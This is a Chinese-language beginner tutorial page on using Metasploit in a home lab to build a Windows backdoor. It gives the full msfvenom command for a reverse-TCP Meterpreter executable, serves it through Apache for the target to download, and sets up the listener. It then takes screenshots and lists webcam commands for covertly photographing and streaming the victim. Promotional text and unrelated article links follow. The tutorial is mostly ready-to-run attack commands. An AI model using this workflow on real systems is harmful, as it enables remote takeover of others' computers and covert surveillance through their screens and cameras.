当前位置: 首页 > news >正文

Msf之内网渗透生成Windows后门,网络安全零基础入门到精通实战教程建议收藏

实验原理:Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。
攻击者:kali-linux 192.168.31.130
靶机:Windows7 192.168.31.134

Windows后门:

在kali-linux上进行操作

生成exe木马文件

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.130 lport=5555 -f exe -o /var/www/html/payload.exe

(端口号自己随便写,/var/www/html这个是apache服务的路径,因为后面要使用apache服务把木马文件传输到靶机)
注:创建不成功,权限不够的话,可以先使用sudo su命令进入root模式再生成文件。

打开apache服务

service apache2 start

在Windows7上操作
打开浏览器,在地址栏输入攻击者ip 192.168.31.130

在kali-linux上进行操作
使用meterpreter

msfconsole

输入各种参数配置

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.31.130
set lport 5555
run


返回Windows7
运行下载的木马文件

双击下载的文件,点击运行,无图形界面产生


在kali-linux上进行操作

返回攻击机,这时已经建立会话

抓取Windows7屏幕

screenshot


屏幕已截取,文件保存在这个位置

结束会话

exit

meterpreter还有以下命令及参数:
webcam_list 查看摄像头
webcam_snap通过摄像头拍照
webcam _ stream 通过摄像头开启视频
-h :显示帮助。
-i :要使用的网络摄像头的索引号。
-p :JPEG 图像文件路径。默认 HOME /随机乱码名. jpeg 。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取


http://www.cnnetsun.cn/news/152093.html

相关文章:

  • 【Open-AutoGLM触控优化核心技术】:揭秘轨迹自然度提升的5大算法原理
  • FaceFusion助力元宇宙建设:高质量面部动画生成解决方案
  • FaceFusion命令行工具详解:自动化脚本编写实战
  • 【Open-AutoGLM性能突围】:3个真实案例教你将推理延迟压到极限
  • 从零基础转行渗透测试到如今20k,我经历了什么?_渗透测试工作辛苦吗
  • 错过Transformer时代别再错过它:Open-AutoGLM将引爆下一代AI浪潮?
  • Open-AutoGLM无代码系统背后的秘密(9大核心技术组件详解)
  • 基于Java的毕业论文复现与写作,这10款AI工具值得推荐
  • 利用FaceFusion镜像加速GPU算力变现的新商业模式
  • pytest-yaml 测试平台 - 平台实现用例分层API和用例层
  • Open-AutoGLM实战指南:5步构建你的动态强化学习智能体
  • 计算机毕业设计springboot家庭财务管理系统APP 基于Spring Boot的家庭财务智能管理移动应用开发 Spring Boot驱动的家庭财务管理系统移动端设计与实现
  • Open-AutoGLM坐标漂移难题,一文掌握精准修正的7种高级手法
  • (独家)Open-AutoGLM弹窗自愈系统设计内幕:3步实现无人值守自动处理
  • 从规则引擎到AI决策,弹窗处理如何迈入智能化时代?,Open-AutoGLM实战路径全披露
  • 无路可退的渗透测试工程师,35岁前趁早多接触下这些方向
  • 非科班学网络安全,是“黄金大道”还是“天坑之旅”?
  • C语言变量命名规则C语言变量与常量基本数据类型
  • 1、数学物理中的量化与群论研究
  • 18、物理中的几何方法与模型研究
  • 2、量子物理早期实验与理论探索
  • 基于ssm的面向企事业单位的项目申报小程序源代码(源码+文档+数据库)
  • FaceFusion镜像提供多维度性能指标看板
  • 30、6G 网络:连接未来的无限可能
  • AIDD-人工智能药物设计-AI 药物重定位:GraphRAG 让黑箱模型说人话
  • FaceFusion人脸替换技术通过ISO信息安全认证
  • 转行IT必看:【云计算运维】和【网络安全】选哪个?
  • 2025_网络安全就业真相:200万缺口+薪资24万起+无35岁危机,程序员必看!
  • FaceFusion在AI法律顾问形象亲和力优化中的实践
  • 办公室中的Python课 P06 【精准检索】字典:像查通讯录一样管理数据